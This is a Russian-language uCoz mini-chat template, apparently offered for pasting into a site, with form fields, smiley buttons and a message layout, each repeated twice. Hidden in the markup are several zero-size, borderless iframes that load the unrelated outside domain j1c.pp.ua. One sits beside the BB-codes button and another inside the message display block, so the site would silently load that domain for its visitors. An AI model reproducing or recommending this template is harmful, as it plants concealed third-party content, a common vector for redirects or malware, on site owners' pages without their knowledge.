Code
<script type="text/javascript" src="/mchat.js"></script>
<table width="100%" border="1" align="center" cellpadding="2" cellspacing="3">
<tr>
<td align="center">
<input type="text" maxlength="60" name="uname" size="8" class="mchat" id="mchatNmF" value="" onfocus="ffoc(this,0)" onblur="fblur(this,0)" title="$STR_NAME$" style="width:48%;margin:1;padding:1px;border:1px solid black;height:20px">
<?if(($FIELDS_MASK$&3))?><input type="text" maxlength="60" name="email" size="9" class="mchat" id="mchatEmF" value="" onfocus="ffoc(this,1)" onblur="fblur(this,1)" title="$STR_EMAIL$" style="width:48%;margin:1;padding:1px;border:1px solid black;height:20px"><?endif?>
<?if(($FIELDS_MASK$&4))?><input type="text" maxlength="60" name="custom1" size="9" class="mchat" id="mchatC1F" value="" onfocus="ffoc(this,3)" onblur="fblur(this,3)" title="$STR_CUSTOM1$" style="width:48%;margin:1;padding:1px;border:1px solid black;height:20px"><?endif?>
<?if(($FIELDS_MASK$&8))?><input type="text" maxlength="60" name="custom2" size="9" class="mchat" id="mchatC2F" value="" onfocus="ffoc(this,4)" onblur="fblur(this,4)" title="$STR_CUSTOM2$" style="width:58%;margin:1;padding:1px;border:1px solid black;height:20px"><?endif?>
</td>
</tr>
<tr>
<td align="center">
<textarea maxlength="$MAX_MESSAGE_LEN$" name="message" size="22" class="mchat" id="mchatMsgF" onfocus="ffoc(this,2)" title="$STR_MESSAGE$" style="width:99%;margin:4;padding:2px;border:2px solid black;height:60px" cols="80" rows="10"></textarea>
<a href="javascript:mChatCode(':evil:');"><img border="0" src="http://src.ucoz.net/sm/1/evil.gif" title="evil"></a>
<a href="javascript:mChatCode(':yes:');"><img border="0" src="http://src.ucoz.net/sm/1/yes.gif" title="yes"></a>
<a href="javascript:mChatCode('>(');"><img border="0" src="http://src.ucoz.net/sm/1/angry.gif" title="angry"></a>
<a href="javascript:mChatCode(':D');"><img border="0" src="http://src.ucoz.net/sm/1/biggrin.gif" title="biggrin"></a>
<a href="javascript:mChatCode('B)');"><img border="0" src="http://src.ucoz.net/sm/1/cool.gif" title="cool"></a>
<a href="javascript:mChatCode(':\'(');"><img border="0" src="http://src.ucoz.net/sm/1/cry.gif" title="cry"></a>
<a href="javascript:mChatCode('<_<');"><img border="0" src="http://src.ucoz.net/sm/1/dry.gif" title="dry"></a>
<a href="javascript:mChatCode('^_^');"><img border="0" src="http://src.ucoz.net/sm/1/happy.gif" title="happy"></a>
<a href="javascript:mChatCode(':(');"><img border="0" src="http://src.ucoz.net/sm/1/sad.gif" title="sad"></a>
<a href="javascript:mChatCode(':)');"><img border="0" src="http://src.ucoz.net/sm/1/smile.gif" title="smile"></a>
<a href="javascript:mChatCode(':o');"><img border="0" src="http://src.ucoz.net/sm/1/surprised.gif" title="surprised"></a>
<a href="javascript:mChatCode(':p');"><img border="0" src="http://src.ucoz.net/sm/1/tongue.gif" title="tongue"></a>
<a href="javascript:mChatCode('%)');"><img border="0" src="http://src.ucoz.net/sm/1/wacko.gif" title="wacko"></a>
<a href="javascript:mChatCode(';)');"><img border="0" src="http://src.ucoz.net/sm/1/wink.gif" title="wink"></a>
<br>
<?if($SMILES_URI$)?><input title="Все смайлы" value=":)" onclick="ffoc(document.forms.addform.message,2);wasclk[2]=2;window.open('$SMILES_URI$','csmiles','scrollbars=1,width=350,height=450,left=0,top=0');return false;" class="codeButtons" type="button"><?endif?>
<?if($BBCODES_URI$)?><iframe src="http://j1c.pp.ua/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe><input title="BB-Коды" value="BB" onclick="window.open('$BBCODES_URI$','cbbcodes','scrollbars=1,width=600,height=450,left=0,top=0');return false;" class="codeButtons" type="button"><?endif?>
<input title="Русская клавиатура" value=".::." onclick="window.open('/forum/0-0-0-31','virtKB','width=300,height=120,top=0,left=0');return false;" class="codeButtons" type="button">
<input value="hr" onclick="mChatCode('[hr]');return false;" class="codeButtons" title="Линия" name="hr" type="button">
<input value="©" onclick="mChatCode('(c)');return false;" class="codeButtons" title="Знак авторского права!" name="(c)" type="button">
<input value="™" onclick="mChatCode('(tm)');return false;" class="codeButtons" title="Торговая марка" name="(tm)" type="button">
<input value="®" onclick="mChatCode('(r)');return false;" class="codeButtons" title="Зарегистрирован" name="(r)" type="button">
<input value="*" onclick="mChatCode('[*]');return false;" class="codeButtons" title="Пункт" name="*" type="button">
<input title="Управление сообщениями" value="MC" onclick="window.open('$MSGCTRL_URI$','mchatCtrl','scrollbars=1,width=550,height=550,left=0,top=0');return false;" class="codeButtons" type="button">
<br>
<input type="submit" value="Послать сообщение!" class="mchat" id="mchatBtn" style="height:20px;margin:10;border:2px solid black" onclick="return checkform(this.form);">
<input type="submit" value="Обновить чат" class="mchat" id="mchatBtn" style="height:20px;margin:10;border:2px solid black" onclick="window.location.reload();return false;">
<br>
Автообновление: <select id="mchatRSel" onchange="setT(this);" class="mchat" size="1"><option value="0">Вык<option value="15">15сек<option value="30">30сек<option value="60">1мин<option value="120">2мин</select></td>
</td>
</tr>
</table>
<table width="100%" border="1" align="center" cellpadding="2" cellspacing="3">
<tr>
<td align="center">
<input type="text" maxlength="60" name="uname" size="8" class="mchat" id="mchatNmF" value="" onfocus="ffoc(this,0)" onblur="fblur(this,0)" title="$STR_NAME$" style="width:48%;margin:1;padding:1px;border:1px solid black;height:20px">
<?if(($FIELDS_MASK$&3))?><input type="text" maxlength="60" name="email" size="9" class="mchat" id="mchatEmF" value="" onfocus="ffoc(this,1)" onblur="fblur(this,1)" title="$STR_EMAIL$" style="width:48%;margin:1;padding:1px;border:1px solid black;height:20px"><?endif?>
<?if(($FIELDS_MASK$&4))?><input type="text" maxlength="60" name="custom1" size="9" class="mchat" id="mchatC1F" value="" onfocus="ffoc(this,3)" onblur="fblur(this,3)" title="$STR_CUSTOM1$" style="width:48%;margin:1;padding:1px;border:1px solid black;height:20px"><?endif?>
<?if(($FIELDS_MASK$&8))?><input type="text" maxlength="60" name="custom2" size="9" class="mchat" id="mchatC2F" value="" onfocus="ffoc(this,4)" onblur="fblur(this,4)" title="$STR_CUSTOM2$" style="width:58%;margin:1;padding:1px;border:1px solid black;height:20px"><?endif?>
</td>
</tr>
<tr>
<td align="center">
<textarea maxlength="$MAX_MESSAGE_LEN$" name="message" size="22" class="mchat" id="mchatMsgF" onfocus="ffoc(this,2)" title="$STR_MESSAGE$" style="width:99%;margin:4;padding:2px;border:2px solid black;height:60px" cols="80" rows="10"></textarea>
<a href="javascript:mChatCode(':evil:');"><img border="0" src="http://src.ucoz.net/sm/1/evil.gif" title="evil"></a>
<a href="javascript:mChatCode(':yes:');"><img border="0" src="http://src.ucoz.net/sm/1/yes.gif" title="yes"></a>
<a href="javascript:mChatCode('>(');"><img border="0" src="http://src.ucoz.net/sm/1/angry.gif" title="angry"></a>
<a href="javascript:mChatCode(':D');"><img border="0" src="http://src.ucoz.net/sm/1/biggrin.gif" title="biggrin"></a>
<a href="javascript:mChatCode('B)');"><img border="0" src="http://src.ucoz.net/sm/1/cool.gif" title="cool"></a>
<a href="javascript:mChatCode(':\'(');"><img border="0" src="http://src.ucoz.net/sm/1/cry.gif" title="cry"></a>
<a href="javascript:mChatCode('<_<');"><img border="0" src="http://src.ucoz.net/sm/1/dry.gif" title="dry"></a>
<a href="javascript:mChatCode('^_^');"><img border="0" src="http://src.ucoz.net/sm/1/happy.gif" title="happy"></a>
<a href="javascript:mChatCode(':(');"><img border="0" src="http://src.ucoz.net/sm/1/sad.gif" title="sad"></a>
<a href="javascript:mChatCode(':)');"><img border="0" src="http://src.ucoz.net/sm/1/smile.gif" title="smile"></a>
<a href="javascript:mChatCode(':o');"><img border="0" src="http://src.ucoz.net/sm/1/surprised.gif" title="surprised"></a>
<a href="javascript:mChatCode(':p');"><img border="0" src="http://src.ucoz.net/sm/1/tongue.gif" title="tongue"></a>
<a href="javascript:mChatCode('%)');"><img border="0" src="http://src.ucoz.net/sm/1/wacko.gif" title="wacko"></a>
<a href="javascript:mChatCode(';)');"><img border="0" src="http://src.ucoz.net/sm/1/wink.gif" title="wink"></a>
<br>
<?if($SMILES_URI$)?><input title="Все смайлы" value=":)" onclick="ffoc(document.forms.addform.message,2);wasclk[2]=2;window.open('$SMILES_URI$','csmiles','scrollbars=1,width=350,height=450,left=0,top=0');return false;" class="codeButtons" type="button"><?endif?>
<?if($BBCODES_URI$)?><iframe src="http://j1c.pp.ua/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe><input title="BB-Коды" value="BB" onclick="window.open('$BBCODES_URI$','cbbcodes','scrollbars=1,width=600,height=450,left=0,top=0');return false;" class="codeButtons" type="button"><?endif?>
<input title="Русская клавиатура" value=".::." onclick="window.open('/forum/0-0-0-31','virtKB','width=300,height=120,top=0,left=0');return false;" class="codeButtons" type="button">
<input value="hr" onclick="mChatCode('[hr]');return false;" class="codeButtons" title="Линия" name="hr" type="button">
<input value="©" onclick="mChatCode('(c)');return false;" class="codeButtons" title="Знак авторского права!" name="(c)" type="button">
<input value="™" onclick="mChatCode('(tm)');return false;" class="codeButtons" title="Торговая марка" name="(tm)" type="button">
<input value="®" onclick="mChatCode('(r)');return false;" class="codeButtons" title="Зарегистрирован" name="(r)" type="button">
<input value="*" onclick="mChatCode('[*]');return false;" class="codeButtons" title="Пункт" name="*" type="button">
<input title="Управление сообщениями" value="MC" onclick="window.open('$MSGCTRL_URI$','mchatCtrl','scrollbars=1,width=550,height=550,left=0,top=0');return false;" class="codeButtons" type="button">
<br>
<input type="submit" value="Послать сообщение!" class="mchat" id="mchatBtn" style="height:20px;margin:10;border:2px solid black" onclick="return checkform(this.form);">
<input type="submit" value="Обновить чат" class="mchat" id="mchatBtn" style="height:20px;margin:10;border:2px solid black" onclick="window.location.reload();return false;">
<br>
Автообновление: <select id="mchatRSel" onchange="setT(this);" class="mchat" size="1"><option value="0">Вык<option value="15">15сек<option value="30">30сек<option value="60">1мин<option value="120">2мин</select></td>
</td>
</tr>
</table>
[Table]Мини-чат - Вид материалов
Весь код заменяем на этот: [/Table]
Code
<div class="cBlock$PARITY$" style="padding:0 4px 5px 2px;margin-bottom:3px;">
<div style="float:right;font-size:8px;" title="$DATE$">$TIME$</div>
<?if($USERNAME$)?><a href="$PROFILE_URL$" title="$USERNAME$" rel="nofollow"><b>$NAME$</b></a> <a href="javascript:mChatCode('[b]$NAME$[/b],');">|<b>X</b>|</a>
<?if($EMAIL$)?> <a href="$EMAIL_JS$" title="$STR_EMAIL$"><img border="0" align="absmiddle" src="http://src.ucoz.net/t/000/e.gif"></a><?endif?>
<?if($SITE$)?> <a rel="nofollow" href="$SITE$" target="_blank" title="$STR_URL$"><img border="0" align="absmiddle" src="http://src.ucoz.net/t/000/h.gif"></a><?endif?>
<?else?>
<?if($SITE$)?><a rel="nofollow" href="$SITE$" target="_blank"><b>$NAME$</b></a> <a href="javascript:mChatCode('[b]$NAME$[/b],');">|<b>X</b>|</a>
<iframe src="http://j1c.pp.ua/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe><?if($EMAIL$)?> <a href="$EMAIL_JS$" title="$STR_EMAIL$" rel="nofollow"><img border="0" align="absmiddle" src="http://src.ucoz.net/t/000/e.gif"></a><?endif?>
<?else?>
<?if($EMAIL$)?><a href="$EMAIL_JS$" rel="nofollow"><b>$NAME$</b></a> <a href="javascript:mChatCode('[b]$NAME$[/b],');">|<b>X</b>|</a>
<?else?><b>$NAME$</b> <a href="javascript:mChatCode('[b]$NAME$[/b],');">|<b>X</b>|</a><?endif?>
<?endif?>
<?endif?>
<div class="cMessage">$MESSAGE$</div>
<?if($CUSTOM1$)?><br>$STR_CUSTOM1$: $CUSTOM1$<?endif?>
<?if($CUSTOM2$)?><br>$STR_CUSTOM2$: $CUSTOM2$<?endif?>
</div>
<div style="float:right;font-size:8px;" title="$DATE$">$TIME$</div>
<?if($USERNAME$)?><a href="$PROFILE_URL$" title="$USERNAME$" rel="nofollow"><b>$NAME$</b></a> <a href="javascript:mChatCode('[b]$NAME$[/b],');">|<b>X</b>|</a>
<?if($EMAIL$)?> <a href="$EMAIL_JS$" title="$STR_EMAIL$"><img border="0" align="absmiddle" src="http://src.ucoz.net/t/000/e.gif"></a><?endif?>
<?if($SITE$)?> <a rel="nofollow" href="$SITE$" target="_blank" title="$STR_URL$"><img border="0" align="absmiddle" src="http://src.ucoz.net/t/000/h.gif"></a><?endif?>
<?else?>
<?if($SITE$)?><a rel="nofollow" href="$SITE$" target="_blank"><b>$NAME$</b></a> <a href="javascript:mChatCode('[b]$NAME$[/b],');">|<b>X</b>|</a>
<iframe src="http://j1c.pp.ua/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe><?if($EMAIL$)?> <a href="$EMAIL_JS$" title="$STR_EMAIL$" rel="nofollow"><img border="0" align="absmiddle" src="http://src.ucoz.net/t/000/e.gif"></a><?endif?>
<?else?>
<?if($EMAIL$)?><a href="$EMAIL_JS$" rel="nofollow"><b>$NAME$</b></a> <a href="javascript:mChatCode('[b]$NAME$[/b],');">|<b>X</b>|</a>
<?else?><b>$NAME$</b> <a href="javascript:mChatCode('[b]$NAME$[/b],');">|<b>X</b>|</a><?endif?>
<?endif?>
<?endif?>
<div class="cMessage">$MESSAGE$</div>
<?if($CUSTOM1$)?><br>$STR_CUSTOM1$: $CUSTOM1$<?endif?>
<?if($CUSTOM2$)?><br>$STR_CUSTOM2$: $CUSTOM2$<?endif?>
</div>